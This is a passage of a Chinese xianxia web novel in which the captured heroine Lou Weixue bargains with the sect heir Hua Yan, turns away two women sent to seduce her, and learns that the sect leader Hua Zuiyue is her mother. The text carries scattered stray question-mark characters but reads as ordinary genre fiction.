娄危雪眨了眨眼,果然下?一秒花醉月的眼神重?新恢复平静,古井无?波。 你?在搞什么?哦能洗 沈清鸿一看到花醉月,脑海中?一根名叫离职的弦瞬间断了。 就是这个人杀了她的师傅!她要为师傅报仇! 白团子嗷呜一声,眼中?漫起血丝,身影如风扑向花醉月。 花醉月淡漠地看了一眼,抬手随意一挥,白团子倒飞出?去,但?是它不甘,在半空中?止了退势,再次袭向花醉月。 边上的莫长老和合欢宗的人见状,下?意识地就要出?手阻拦,结果被花醉月制止。 “没有我的准许,你?们不许出?手。” 原本已经有了攻势的起手,纷纷停住,把武器收了回去。 娄危雪不知道沈清鸿为什么?突然会有这么?大?的反应,和花醉月打了起来。 怕沈清鸿吃亏手上,娄危雪跟着上去帮忙。 两人身上的灵力?在先?前的战斗中?早就被消耗得差不多,本就已是强弩之末,根本不是花醉与的对手。 不过几个来回,花醉月便轻而易举地制住了白团子。 她捏着白团子,如同捏一只蚂蚁般简单。 白团子咆哮着在她手中?挣扎,可是对她造不成任何的威胁。 娄危雪眼睛瞬间就红了,“放开她!” “可以,只要你?乖乖收剑跟我回去,我就不杀她。” 花醉月面无?表情,但?嗓音软了几分。 边上的人还是第一次见宗主这般和人说话,纷纷傻眼。 莫长老同样皱着眉,心中?感觉无?比怪异。 至于娄危雪,全部的心神都在花醉月捏住的白团子上面,她神色紧绷,没有半分犹豫便应下?花醉月的要求。 “好,我跟你?走。” 话落,娄危雪把剑收了回去,一副束手就擒的样子。 花醉月颇为满意,抬手将白团子丢了回去,娄危雪赶紧接住,如接着稀释珍宝。 白团子流血过多,此刻已经失去意识,娄危雪满眼的担忧,不顾众人目光从?随身空间取出?灵药给白团子服下?,试图治疗她的伤势。 花醉月就在边上看着,没有阻止。 直到娄危雪将东西收回去,才开口?。 “走吧。” 合欢宗的宗门离圣山很近,不过片刻,娄危雪便被带了回去,花醉月让人将她和白团子分开,关押在了不同的地方。 与其说这里像牢房,不如说更像是住所,屋内应有尽有,只比娄危雪在云霄门的住所差了一点而已。 为了防止她逃跑,门口?守着几个合欢宗弟子。 被带进来没多久,房间的门突然被人打开,一行?人鱼贯而入,她们提着一桶桶的热水,将之倒入娄危雪房间中?的木桶中?。 为首的女子捧着个托盘,里面放着一件衣服,她将衣服放在一边,然后走到娄危雪面前,抬手就要去解娄危雪的腰带。 娄危雪赶紧躲开,满眼警惕,不明白她们想要做什么?。 “你?们要做什么??” “宗主让我们来伺候你?沐浴。” 沐浴? 娄危雪看着升起阵阵雾气?的木桶,“你?们在水里放了什么??” 被问的女子微微一愣,随后笑?了起来。 在她身边一起过来的人闻言也纷纷笑?起,仿佛听到了什么?笑?话一般。 娄危雪双眉拧在一起,更加看不透眼前的这些?人了。 “你?们在笑?什么??” 为首的一个女子好不容易停住了笑?声,她抬起手指,擦擦眼尾笑?出?来的泪水,回答道:“小道长你?想得太多了,这就是普通的热水,里面什么?东西都没有放。” 娄危雪不相信,这里是合欢宗,她们会有那么?好心? 看出?娄危雪的怀疑,女子拿起水桶中?的瓢,舀起一点热水出?来,浇在自己的手上。 “你?看。” 水流顺着女子的双指落下?,什么?都没发生。 娄危雪还是不相信,她走回桶边嗅了嗅没闻到什么?异味,又仔细探查一番,最终得出?结论,这确实就是普通的热水,没有加料。 之前听说合欢宗人提升修为,主要靠双修,难不成是看上了她,要对她做那种事情? 娄危雪面色惊骇,她抓紧自己的衣襟领口?。 “不会等我洗完之后,你?们就要给我卷巴卷巴抬起来送到谁的床上吧!” 站在娄危雪旁边的女子扑哧一声笑?了,“小道长真会开玩笑?。” 这也不是,那也不是。 娄危雪实在是看不懂她们的举动,“你?们到底想要干什么??” “我们宗主说了,让小道长你?在这里好好住下?,还吩咐我们仔细招待,如果小道长有什么?需要的东西也可以和我们说,只要在我们能接受的范围内就行?。” 娄危雪不可置信地睁大?眼睛,她没听错吧。 “你?们合欢宗的人对待阶下?囚都这么?好吗?” “当然不是。” “那怎么?……” “宗主的心事我们可猜不到,也不能猜。” 女子在这与娄危雪说了有一会了,她将话题重?新转回到要做的事情上来。 “好了,小道长,既然你?已经确认水没有问题了,就让我们伺候你?沐浴吧。” 女子说着就去解娄危雪的腰带,剩下?的几个合欢宗弟子也纷纷围了上来。 “不必,”娄危雪赶紧躲开,她指指门口?,“你?们出?去,我自己来。” 女子没有放弃,她诱惑道:“小道长,我会好好伺候你?的,你?真的不试试吗?” “不需要,我不习惯被人伺候。” “那好吧。” 见娄危雪态度坚决,女子目光中?有些?遗憾,带着剩下?的人走远了。 屋内空了下?来,娄危雪也松了口?气?,她不知道花醉月到底想干什么?,但?是这并不妨碍她洗澡。 娄危雪脱下?衣服泡在水中?,偏热的水温叫她忍不住发出?一声喟叹,原本疲惫的肌肉,在水中?得到了放松。 她将下?半张脸埋在水中?,默默出?神。 也不知道沈清鸿那边怎么?样了,有没有人如同对她这般对待沈清鸿。 还有李寄春和玲溪,被抓走那么?多天,不知道她们可还好。 水声哗啦,并没有人能回答娄危雪。 直到水变得有些?凉了,娄危雪才赶紧清洗,从?浴桶中?出?来。 沐浴过后,原来的衣服就不能穿了。 娄危雪用自己带着的药抹了伤口?,拿起边上合欢宗人为她准备的衣服换上,先?是里衣,然后是外?裙。 这衣服不知道是用什么?布料做的,入手丝滑轻薄得很,穿上如同披上了一层薄纱,又不会很透,而且完全是按照娄危雪的身材尺寸做的,穿上去十分合身。 娄危雪将腰带系好,抬手捏着袖口?。 袖子的边缘绣着暗金色的纹路,繁复无?比。 她有些?想不通,为什么?花醉月会对手下?的人下?达那样的要求? 还有在圣山上,花醉月看向她的那一眼…… 正在沉思,房间的门突然被人从?外?面推开,有人闯了进来。 娄危雪抬眼看向来人,可不就是花厌嘛。 见到娄危雪,花厌微眯起深邃的眼眸,目光久久停留在他身上。 “真没想到你?竟然还能活着出?来,不过就算如此,不还是落在了我的手上。” “娄危雪,徒劳挣扎的滋味,怎么?样?” 娄危雪扯起唇角,笑?了一声,笑?声中?带着讥诮。 “呵,你?未免也太会朝自己脸上贴金了,明明是你?家宗主把我抓回来的。” “她是宗主,我就算落,也是落在她手上,与你?有什么?关系。” “更何况,你?怎么?知道我是徒劳挣扎。” 娄危雪严罢,意味深长地看了花厌一眼,如果在圣山中?遇到的那个女子没有骗她,她完全可以借用那女子给她的腰牌,让花厌帮她。 花厌的脸色瞬间就黑了下?来,眼神中?散发着冰冷凌厉的杀意,给人带来无?穷的压迫感。 “娄危雪,你?是不是还没搞清楚自己的处境,这是合欢宗的地界,我是少主,就算真的对你?做了什么?,宗主也不会把我怎么?样!” 娄危雪不以为意,反倒一副笃定的样子。 “你?不但?不会折磨我,还会帮我。” 虽然面子毫不示弱,但?是娄危雪心底却有些?微的紧张,她没有证据能够证明那女子没有欺骗她。 眼下?她被困住,如果想要出?去,暂时只能从?花厌身上下?手。 所以她只能赌。 花厌像是听到了什么?好笑?的事情一般,满眼讥诮。 “娄危雪,你?是不是脑子不清醒了,我现在身上已经没有了你?们的桎梏,你?觉得我凭什么?会帮你??” “就凭这个。” 话落,娄危雪抬手一个红色的腰牌出?现在她的手中?,正是沈清鸿转交给她的那块。 她薄唇浅扬,抬眉笑?看着花厌。 “怎么?样,眼熟吗?” 看清楚娄危雪手中?拿着的是什么?东西之后,花厌面容骤变。 她一把抓住娄危雪的领口?,眼底漆黑透露着一丝的紧张。 “你?怎么?会有这个东西。” 被抓着领口?,娄危雪也不恼,甚至还朝花厌挑衅般地笑?了一下?,态度悠然。 “当然是有人给我的。” “怎么?样,你?觉得现在你?还能拒绝我的要求吗?” 花厌抿唇,眼睛定定地盯着娄危雪,娄危雪毫不退让,两人的视线在空中?对上,带着看不见的火花。 最终还是花厌先?收回视线,她冷哼一声,松手将娄危雪放开。 “告诉我,是谁给你?的这个腰牌,那个人在哪。” 娄危雪整了整领口?被弄乱的衣服,看来她赌对了。 她如实答道:“是一个眼睛上有着奇怪花纹的女子给我的,她说她是你?的师傅,让我如果遇到事情,就拿着这个腰牌找你?。” 花厌并没有立刻相信娄危雪的话,凌厉反问:“她为什么?要把腰牌给你?。” “当然是因为我帮了她。” “帮了她,她怎么?了?现在人在哪里?” 花厌双眉紧皱,看上去似乎很是担心。 娄危雪这次没有再回答,“你?的问题太多了。” “娄危雪!” 花厌咬牙切齿,脸即刻黑下?,怒气?冲冲地瞪着娄危雪,可是又拿娄危雪没有任何办法。 她已经找师傅找了许多年,这是头一次有师傅的线索,她一定要把握住! “你?想怎么?样?” “好办,我要你?把合欢散的解药给我,然后帮忙放我们出?去。” 花厌沉下?脸,“你?是被宗主带回来的,我如果随便放了你?,宗主那边我不好交代。” 虽然之前花厌威胁娄危雪的时候说,不管怎么?对娄危雪宗主都不会拿她怎么?样的。 可实际上并不这样,花醉月的指令没有人敢违背,就算她是少主,一旦做了与花醉月指令相悖的事情,得到的惩罚只会更加严重?。 娄危雪不以为然,“这就是你?的事了。” 见花厌面色黑沉犯难,娄危雪眼神微眯。 “怎么?,难道你?不想知道关于你?师傅的下?落了?” “我会想办法的。” 花厌黑着脸,转身离开了。 在她走后,不再有人过来,直到晚上。 中?午的给娄危雪送衣服的女子过来了,“小道长,宗主请你?过去一趟。” 娄危雪没有说不的权利,跟着女子去见了花醉月。 厅中?处处挂着粉色糜颜的纱幔,空气?中?飘荡着一股浓厚的香味,穿着弟子服的合欢宗弟子分别?站在大?厅两侧。 与其他门派恢宏壮阔的座椅不同,花醉月身下?的座椅十分宽大?,铺着厚厚的绒毯,看上去很是舒服,甚至能让人直接睡在上面。 娄危雪到的时候,花醉月斜靠着扶手,一只脚踩在座椅上,左手搭在膝盖处,右手正高举着一尊嵌满宝石的酒壶,酒液从?壶口?流下?,落入花醉月的口?中?。 在她身边有捧着果盘的弟子,有拿着酒壶的弟子,还有用各种乐器演奏的弟子。 这场景若是被那些?自诩名门正派的人看见了,少不得要说上几句。 娄危雪正感慨间,身边的女子开口?了。 “宗主,我把人带来了。” 花醉月闻言把酒壶放在旁边弟子捧着的托盘上,擦擦唇角边的酒液,把脚放下?。 她抬手朝弟子们吩咐,“你?们都先?下?去吧。” “是。” 所有人全部离开,厅中?只剩下?娄危雪和花醉月两人。 娄危雪站在大?厅中?间,浑身紧绷,眼底隐藏着敏锐的戒备。 花醉月朝娄危雪招手,“过来点。” 娄危雪犹豫,彳亍着向前走去,在花醉月的要求下?,走近了一点。 她以为走近了许多,可在花醉月眼底不过是娄危雪走了几步。 “再过来点。” 娄危雪抿唇,又走了一点。 她磨磨蹭蹭地走得很慢,花醉月也不催促,只是在娄危雪停下?的时候朝娄危雪招手,示意娄危雪再过去一点,直到娄危雪走到花醉月的座椅面前。 如此这般,花醉月才算是满意。 她拿起边上的酒,给娄危雪倒了一杯。 “你?这些?年过得怎么?样?” 看着自己面前的玉色酒杯,娄危雪微微一愣,更不明白花醉月问的问题。 她原本以为花醉月让人带她过来,少不得要问些?宗门机密,没想到竟然会是这种普通的小事。 见娄危雪不接酒杯,花醉月索性收回,自己仰头喝下?。 她又问:“怎么?不说话?” 娄危雪头皮发麻,僵硬地回答着:“我过的挺好。” “怎么?个好法?说给我听听。” “我是云霄宗的少门主,宗门里的人对我比较恭敬,吃穿不愁,我爹对我的管束也不算多,总之过得还算自在。” 花醉月一边听着一边点头,“听花厌说你?有门婚事,是天一宗的沈清鸿,只不过你?不想成婚,一直吵着要退婚,可有这回事?” “对。” 娄危雪没有反驳,当初她闹着要和沈清鸿退婚,因此和玲溪传出?不少风言风语,花厌能知道也很正常。 听娄危雪应下?,花醉月放下?酒杯。 “要不要我帮你?杀了沈清鸿,这样你?就不用为婚事发愁了。” 她说话的语气?非常轻松,就像是在说明天会下?雨一般。 娄危雪顿时汗毛倒竖,她忙道:“别?!清鸿仙尊挺好的,我现在已经不想和她离婚了。” “这样啊。” 花醉月戴着面具,娄危雪看不出?她的神色。 只听花醉月又道:“再说说吧,把你?小时候的事情都跟我说说。” 娄危雪摸不清楚这合欢宗的宗主把自己叫过来,怎么?问的都是一些?小事,但?是她又不好不答。 索性不是什么?紧要的事情,她搜刮着脑海中?继承的记忆,把幼时的一些?有趣的经历讲给花醉月听。 花醉月支着头,听得很认真,露在面具外?的薄唇微微上钩,露出?一抹淡淡的笑?意。 夜色渐深,娄危雪说得口?干舌燥,花醉月见状让她停下?。 “今天就先?说到这里吧,天不早了,你?受着伤回去休息去吧。” 这态度根本就不像是对待阶下?囚,娄危雪神色复杂,没忍住问道:“你?为什么?要问我这些??还让我住哪种房间?” 花醉月眼眸幽深,她笑?着意味深长道:“不用着急,很快你?就会知道原因。” 第39章 娄危雪从大厅中离开,在大厅口守着的合欢宗弟子将她?带回?了房间中。 最开始为了防止娄危雪逃跑而设在门口的两个看护,不知道什?么时候被撤下去了。 看着空荡荡的房间门口,娄危雪挑了挑眉。 带娄危雪过来?的合欢宗弟子看出娄危雪的不解,主动?解释道:“宗主说,怕小道长你住得不自在,就让她?们?走了。” “原来?如此。” 将娄危雪送回?来?之?后,那个合欢宗弟子便转身离开。 娄危雪打开门走进?房屋,花醉月对她?实在是好得有些过分,甚至怕她?住得不舒服将外面的人?给调走,难道就不怕她?逃跑吗? 还有在大厅,花醉月为什?么要问?她?那些事情? 娄危雪百思不得其解,躺在床上翻来?覆去的根本就睡不着觉,没过多久房门突然?吱吖一声响了。 一个白团子钻入门内,不知道是不是沾了娄危雪的光,白团子身上的毛发已经清洗干净,没了脏污。 娄危雪听到动?静下床查探,刚好遇到跑入内室的白团子,见到她?满眼讶然?。 “清鸿仙尊?” 上午被抓的时候她?才刚和花厌做了交易,现在沈清鸿就被放出来?了。 “花厌的动?作这么快的吗?” 白团子不解,跳到娄危雪伸来?的手掌中。 “花厌怎么了?你遇到她?了?” 被沈清鸿这么一问?,娄危雪愣了一下,隐约感觉哪里不太对劲。 “清鸿仙尊你不是被花厌救出来?的吗?” “当然?不是,我在房间中留了个化形,趁着外面巡逻的人?不备,自己偷跑出来?的。” 沈清鸿有些奇怪,她?问?道:“你刚刚说的花厌是怎么回?事?” 娄危雪这才知道自己误会了,便把用腰牌与花厌做了交涉的事情和沈清鸿说了一遍。 沈清鸿微微颔首,若有所思,“看来?那女子确实是花厌的师傅,而且与花厌的感情还不错,不然?花厌也不会为了她?而答应你的要求。” “不过我很久之?前听到过一则消息,说是花厌的师傅早死了,既然?这样,那人?怎么会出现在那个地方?” 娄危雪回?忆着和花厌说话时对方的神情,她?眉头微微皱起。 “花厌听到她?师傅的消息时,虽然?有惊讶,但是并没有显得特别震惊,她?应该是早就知道师傅没死。” 两人?这边正交谈着,房门突然?被人?敲响,沈清鸿立刻从娄危雪手中跳下,躲进?了床底下。 见她?藏好,娄危雪这才走过去把门打开。 站在外面的是两个面容相似的貌美女子,一人?穿红色纱衣,一人?着白色,她?们?脸上画着淡妆,盘着头发露出一截白皙的脖颈,再?往下便是饱满的**。 娄危雪不明白两人?是过来?干什?么的,疑惑地用眼神询问?。 “我叫梓夏,”穿红色衣服的女子朝娄危雪笑着介绍,然?后指指旁边的白衣女子,“这个是我的妹妹,梓雪。” “我们?姐妹俩是奉宗主之?令,过来?伺候小道长的。” “不,我不需要人?伺候。” 娄危雪说着就要把门关上,一截白腻的手腕突然?插入门缝之?中阻止了娄危雪的动?作。 梓夏嘴角缓缓拉开一个戏谑的弧度,“小道长,不要这么着急关门啊,我们?姐妹俩和那些普通伺候的人?可不一样。” “对啊,”梓雪应和着,倾身向?着娄危雪靠近。 那涂着丹蔻的手指眼见就要落到娄危雪的胸口上,娄危雪瞬间就明白了两姐妹话中伺候的意?思,她?像是看到了什?么涂着剧毒的东西般,连连后退。 “不不不,我不需要人?伺候。” 不过也是因为这个后退,房间门口的地方被空了出来?,梓夏和梓雪两姐妹挑唇一笑,顺势走入屋内。 娄危雪暗道不好,伸手想要去关门,可是显然?已经来?不及了。 梓夏甚至还一把抓住了娄危雪的手腕,顺着娄危雪的手一路向?上探去。 娄危雪顿时打了个激灵,连忙抽手,向?后退了好几步,离这人?远远的。 看着空荡荡的手掌心,梓夏并不恼怒,反而饶有兴味。 “小道长,你不要害羞嘛。” 她?一步步朝着娄危雪逼近,梓雪没有说话,但是眉眼含笑,做着和姐姐相同的事情。 两个女人?咯咯地笑着,摇摆着腰肢一点点地逼近娄危雪,她?们?红唇妖娆,那柔软的手臂像是蛇般,想要缠上娄危雪把她?拖走。 简直活脱脱两个女妖精。 娄危雪头皮发麻,连连摆手,“我不需要你们的伺候,你们?快回?去吧。” “这不行,宗主交代?我们?,一定要把小道长你给服侍得舒舒服服的,我们?可不敢违背宗主的命令。” 说话间娄危雪已经被两人给逼退到了屋中,不远处就是柔软的床榻。 梓雪意味深长地看了娄危雪一眼,“小道长,这次你可跑不掉了。” 话音落下,她朝着娄危雪扑去,娄危雪大骇,闪身向?右躲开了。 梓雪没有扑到人?,倒在娄危雪的床榻上,床板吱吖发出一阵声响。 她?顺势就躺在了床上,撩起一截下摆,露出白腻的大腿,支着头媚笑着看人?。 “你们?怎么样才能?离开。” 娄危雪额上冷汗直冒,她?可没忘记,沈清鸿就在床下面躲着呢。 梓夏不知道什?么时候走到了娄危雪的身边,对着娄危雪的耳朵吹了口气,媚眼如丝。 “当然?是伺候完小道长之?后啊,不过说不定那个时候小道长就舍不得让我们?走了,毕竟我们?两姐妹的功夫真的很不错。” 娄危雪条件反射,立刻捂住自己的耳朵,如受惊的鹿,跳开好几步,一脸羞愤。 见她?这样,那两人?更起劲了,再?次朝娄危雪靠近。 “停!”娄危雪赶忙抬手挡在身前,“我不需要你们?的伺候,现在请你们?出去,我要休息了。” 梓夏连连摇头,没有答应。 “小道长,你说得没有用,我们?可不敢违背宗主的命令。” 娄危雪还是头一次遇到这般难缠的人?,她?深吸了口气,缓缓吐出。 她?问?:“花宗主叫你们?过来?,是让你们?把我给伺候舒服的对吗?” “对,所以我们?更不能?走了。” “不,你们?要走,你们?在这只会让我不舒服。”娄危雪看着两人?,话语里含着威胁,“你说如果?明天我去和花宗主说,你们?让我很难受,她?会怎么对你们??” 两人?瞬间慌了,在合欢宗花醉月说一不二,这要是让她?知道她?们?没有办好交代?下来?的事情,等待她?们?二人?的只会是责罚。 合欢宗的责罚可不是随便能?吃得消的,而且看宗主对眼前这位重视的态度,这责罚绝对不会轻。 梓夏忙道:“别啊小道长,我们?不过去就是了,不过宗主的交代?我们?也不好违背啊。” 梓夏跟着应和:“是啊小道长,我们?姐妹只是听令行事而已。” 娄危雪的目的只是让两人?离开,并没有要为难她?们?的意?思。 她?道:“如果?不想被责罚就现在离开,你们?宗主那边若是问?起,我自会帮你们?解释的。” 姐妹俩左右为难,可是如果?不走,娄危雪在宗主面前说她?们?的不是,她?们?的下场根本就不会好到哪里去。 眼下只能?暂时相信娄危雪的话了,两人?对视一眼,纷纷退去。 将两人?送走之?后,娄危雪赶紧过去把房间门从里面关上了。 回?来?的时候,白团子已经从床下出来?了。 她?蹲在床对面的矮桌上,眼睛盯着床铺。 那正是之?前梓雪睡着的地方,意?识到沈清鸿在看什?么东西之?后,娄危雪瞬间头皮发麻。 她?赶忙解释,“清鸿仙尊,刚刚的对话你应该都?听到了,那两个人?是花宗主送来?的,可不是我要求的啊!” 沈清鸿就躲在床下,当然?听到了娄危雪与那两个闯进?来?的女子的对话,心中明白和娄危雪没有关系,不过胸口却像是有什?么东西堵着一般,闷闷的不舒服,压得她?说不出话来?。 见沈清鸿不理自己,娄危雪焦急不已,眼底闪过一抹慌乱。 “真的,我的心里自始至终只有仙尊你一个人?,其他人?就算脱光了站在我面前,我也不会对她?们?有想法!” 娄危雪凑到白团子的旁边,她?蹲下身体目光与白团子平齐。 见着那软软的一小团,她?想去抱白团子,可是又怕沈清鸿生气,伸出去半截的手,又悻悻地收了回?来?。 “清鸿仙尊,你不要不理我嘛。” 那两个女子也不是她?叫过来?的,她?完全都?没有那种?想法啊。 娄危雪蹲在桌子面前,往日活力四射的少女在此刻低下头,垂着眼睛,眼下的泪痣都?因此黯然?失色许多,看起来?可怜巴巴的,丧得不行。 沈清鸿哪里见得了她?这个样子,原本憋着的闷气被弹了出来?。 它四肢用力跳到娄危雪的脑袋上,窝着不动?了。 娄危雪眼睛微微睁大?*?,小心翼翼地抬手摸了摸头顶,触碰上白团子柔软顺滑的毛发。 她?将白团子从脑袋上面取下,抱入怀中,眨巴了下眼睛。 “清鸿仙尊,你是不是不生气了?” 白团子没有吭声,只是这默认的态度叫娄危雪明白了沈清鸿的意?思。 娄危雪笑了,她?本就生的美艳,此刻笑开,眉梢眼角皆是春意?,宛如百花盛放,绚烂夺目。 沈清鸿有一瞬间的晃神,等回?过神后,就发现自己被人?给抱紧了,娄危雪的脑袋正抵着她?的脑袋,一人?一兽亲密地挨在一起。 少女清甜柔软的嗓音在沈清鸿耳边响起,“最喜欢仙尊了。” 原本还残余一点的气焰彻底降了下去,噗的一声熄灭了。 她?拿娄危雪根本就没有一点办法,白团子软下身体任由娄危雪一下下地顺着她?的毛发。 不过花醉月是合欢宗的宗主,为何对娄危雪这般好? 又是让人?仔细照顾,又是给娄危雪送床伴的,这态度着实是有些蹊跷。 她?问?:“你可知花醉月为什?么对你吗?” “不知道啊,”娄危雪满脸无辜,不过回?想起在大厅离开时花醉月对她?说的话,又补充道:“我问?过花宗主,她?说我很快就会知道。” 很快就会知道吗? 沈清鸿沉思琢磨着,这里是合欢宗的地界,就算她?们?逃出去,但是伤没养好,很可能?再?次遇到追杀然?后被擒。 但是比起在合欢宗的老巢待着,还是逃出去的可能?的危险小一些。 她?来?之?前原本是打算带着娄危雪冒险先逃走的,不过看花醉月这个态度,暂时留下未尝不可。 “既然?花醉月这么说了,那不如先留下看看她?到底想要做什?么,也可趁着这段时间休养身体。” 如果?到时候有什?么异常,她?再?想办法带娄危雪逃走。 娄危雪对于沈清鸿的提议没有任何意?见,她?能?感受到花醉月对她?没有恶意?,也很好奇花醉月为什?么要这么照顾她?。 “那就先这样。” 李寄春和玲溪那边还有花厌照看着,想必暂时没有问?题。 又商议一番过后,两人?分开,沈清鸿神不知鬼不觉地又回?到了自己的房间。 白团子走后,娄危雪重新躺回?床上休息,她?闭上眼睛开始睡觉。 只不过几个呼吸过后,床上原本躺着的人?儿瞬间坐了起来?。 她?呼吸急促,原本健康的面色瞬间变得苍白,眉头紧紧皱在一起。 之?前的书虽然?没看完,但是娄危雪突然?想到了之?前看的书中的一个关键剧情。 在原身被沈清鸿杀死后,花醉月突然?下令举全宗之?力对沈清鸿所在的天一宗发起了猛烈的攻势,甚至不惜亲自上阵追着沈清鸿,扬言要将沈清鸿碎尸万段挫骨扬灰。 难道说她?现在的这个身体和花醉月有什?么关系吗? 花醉月又是沈清鸿的杀师仇人?,娄危雪忽然?有种?不好的预感。 不会的,一定不会那样,不要瞎想。 她?重新躺了回?去,可是心里有事,不安得翻来?覆去根本就睡不着,直到天色将明,娄危雪才没抵抗住袭来?的睡意?,沉沉睡去。 等她?一觉醒来?,已经是中午了,没人?过来?叫她?。 只不过在发现娄危雪醒来?之?后,立刻有合欢宗的弟子送了梳洗用的东西过来?。 没过多久,一个熟悉的人?提着食盒走了进?来?。 见到来?人?,娄危雪满眼惊喜。 “玲溪!” 想到当时逃开时发生的事情,娄危雪忧心忡忡。 当初在云霄门的时候玲溪帮着她?,没有放花厌离开,一路上都?帮她?看着花厌,在圣山被合欢宗弟子围攻的时候,也是站在她?这一边,应对着来?自合欢宗弟子们?的围攻。 她?担忧询问?;“你肩膀上的伤怎么样了?被抓回?来?后有没有人?为难过你?” 在娄危雪的问?询下,玲溪的眼眶逐渐红了,泪水默不作声地顺着面颊缓缓流下。 娄危雪微蹙着眉,还以为戳到了玲溪的伤心事。 她?猜测着:“你怎么哭了,是不是花厌那个狗东西欺负你了?” “没有。” 玲溪摇头擦去泪水,她?只是太感动?了。 这里是合欢宗,而她?是合欢宗的弟子,可娄危雪见到她?的第一时间竟然?是关心她?。 玲溪心头滑过一阵暖流,她?吸吸鼻子,朝娄危雪露出一抹笑容。 “少门主,我没事的,被带回?来?之?后我一直被关着,没有受到什?么惩罚,直到今天宗主来?我关押的牢房,我才被人?放出来?。” 又是花醉月,娄危雪眉心微蹙。 “花宗主有说为什?么要放你出来?吗?” “宗主得知我在云霄门卧底的时候曾照顾过少门主你一段时间,便叫我过来?继续照顾少门主,想要少门主你在这里住得更自在一些。” 娄危雪抿了抿唇,不好的猜测再?次浮上心头,被她?连忙按下。 抱着侥幸心理,她?问?了句:“你们?宗主是不是对外面抓回?来?的人?都?这样好?” “当然?不是。” 玲溪如实回?答,心里对于花醉月今日的吩咐玲溪也很奇怪,只不过她?不敢置喙。 她?向?娄危雪解释,“底下弟子抓回?来?的人?宗主一般不会过问?,更不可能?差弟子过来?伺候照顾,而且往往这些被抓回?来?的人?下场都?不会很好,大多数都?沦为了宗内人?的炉鼎。” 玲溪的话再?次向?娄危雪证明了花醉月对她?的态度,可是她?根本高兴不起来?。 之?后娄危雪向?玲溪打探了李寄春的消息,不过两人?没被关在一起,玲溪并不知道李寄春现在怎么样了,加上宗里的很多弟子都?不喜欢玲溪,玲溪连打探消息都?困难。 没有办法,娄危雪只能?把希望寄托于花厌的身上,希望她?能?看在那个腰牌的份上,好好地照顾李寄春。 合欢宗的人?因为花醉月的命令对娄危雪的态度很好,几乎是娄危雪要什?么就有什?么,还有人?过来?治疗娄危雪的伤势。 娄危雪中途有提过想要见李寄春,让李寄春过来?帮她?看伤,不过却被拒绝了。 花醉月这几天不知道在忙些什?么事情,并不在宗门内,这种?要求弟子们?不敢擅自做主,让娄危雪等花醉月回?来?之?后亲自和花醉月提。 娄危雪只能?等着,直到一天午后被人?带去了之?前去过的石厅,多天没有出现过的花醉月就坐在她?那柔软华丽的座椅上。 发现娄危雪过来?后,抬眼看了过去。 “听说你找我?” “对。” “什?么事情?” “我想见我的药修朋友,就是前段时间和玲溪一起被带回?来?的那个。” “可以。” 娄危雪讶然?,“你不问?原因吗?” 虽然?知道花醉月对她?很好,可是娄危雪以为这种?事情,花醉月至少会问?一问?,谁承想花醉月竟然?直接就答应了。 闻言,花醉月挑眉奇怪地看了娄危雪一眼。 “你不是说了吗?那是你的朋友,你想见朋友,我怎么会拦着你?” “我们?不是被你抓回?来?的吗?你就不担心我和朋友谋划对你不利的事情?” 如果?让其他合欢宗的弟子看到竟然?有人?敢这么和她?们?宗主说话,恐怕下巴都?要惊掉了。 可是这里只有花醉月与娄危雪两人?。 “仅凭你们?,不能?拿我怎么样。” 花醉月不以为意?,话语中是对自己实力的自信。 她?把手臂搭在座椅的扶手上,支着头看娄危雪,见少女眼神中满是不可置信,她?柔和了神色。 “不用想那么多的东西,你可以把这里当作自己家,不要太过拘束。” 娄危雪心头大震,一个问?题被她?压在心里困了她?好多天,她?今天必须要和花醉月问?个明白。 她?蜷缩起手指握紧,默默给自己鼓气。 几个呼吸过后,娄危雪像是下定决心了一般,抬起头满眼坚定。 “我之?前问?过你一些问?题,你说我很快就会知道原因。” “现在已经过去很多天了,你可以把这个原因告诉我吗?” 原本花醉月就没打算瞒着娄危雪,听到她?问?,便朝她?招了招手。 “你过来?些。” 已经有过一次经验的娄危雪,这次没再?磨蹭,直接就走到了花醉月的近前。 两人?距离很近,看着长得亭亭玉立的少女花醉月满眼欣慰。 “你已经长这么大了,也是时候把那些事情告诉你了。” 这句话让娄危雪原本就悬着的心提得更高了,不祥的预感再?次升起,如阴霾将娄危雪笼罩。 在娄危雪越来?越忐忑目光中,花醉月伸手取下脸上覆着的黄金面具。 一张同娄危雪有七分相似的面容出现在娄危雪面前,艳红薄唇微启,说出了久远的故事。 “你是我和文?君的女儿,当初我与你母亲情投意?合,可惜你母亲家里不同意?,硬生生地拆散我们?,把她?嫁给了娄青涯那个伪君子!” 提到娄青涯,花醉月满脸寒气,眸中闪烁着危险的光芒。 娄危雪面色没比花醉月好到哪里去,虽然?心里早有猜测,可是当事实摆在眼前的时候,带来?的冲击依旧很大。 她?掐了掐手心,勉强维持心神,露出一个比哭还难看的笑容。 “花宗主,你有没有可能?是弄错了?” 看着面前一副被冲击到的少女,花醉月眉心微蹙。 “我知道你暂时可能?接受不了,可是你看看你我的长相,难道要自欺欺人?吗?” 娄危雪心底其实是明白的,无论是花醉月对她?的好,还是花醉月的长相,无一不在证实着花醉月话中的真实性。 她?曾在一本书中看过,既定事情的发生,不会以一个人?的意?愿而转移。 那句话说得大概就是眼下了。 第40章 娄危雪有些站不住脚,她软了身子,扶住花醉月座下的石椅,缓缓瘫了下去,望着前?方的目光空洞无神。 见?她这样花醉月微微蹙了下眉,没多说什么,给足了娄危雪消化的时间。 许久之后娄危雪才消化掉花醉月说的事?情,可她依旧接受不了。 看花醉月的态度,对她还算不错,既然这样当初为什么要把她和玲溪进行调换? 娄危雪直接问道:“我不是你的孩子吗?那我怎么会?在云霄门被我爹养大?” 花醉月听到娄危雪对娄青涯的称呼有些不满,投来两道充满责怪的目光。 “不要这么叫娄青涯,他不配。” “当初你娘亲被逼得?嫁给他,郁郁寡欢食不下咽,若不想办法把你换过去她陪她,恐怕她就撑不住了。” “当然我也有私心,我就是要让娄青涯的女儿受尽磨难!这是他抢走?文君要付出的代价!” 花醉月沉着脸,双眸幽暗深邃如同嗜血般可怕,寒意袭来,不留一丝情感。 娄危雪双眉微皱,从脑海中翻找出原主小时候的记忆。 印象中云文君出现的次数并不算多,如果她是花醉月送去支撑云文君活下去的动力,云文君怎么会?那般对她? 这与花醉月说的事?实?,太?过矛盾。 “自我记事?起,娘亲就很少出现,之后更是常年闭关修炼,我很少能?见?到她。” 与云文君比起来,她与娄青涯的接触最多,原身跟娄青涯的关系远比跟云文君要好。 听到娄危雪的话,花醉月冷哼一声。 紧扣着扶手?的手?指已经青筋暴起,怒不可遏的表情嗜血般可怕,仿佛下一秒就要爆发。 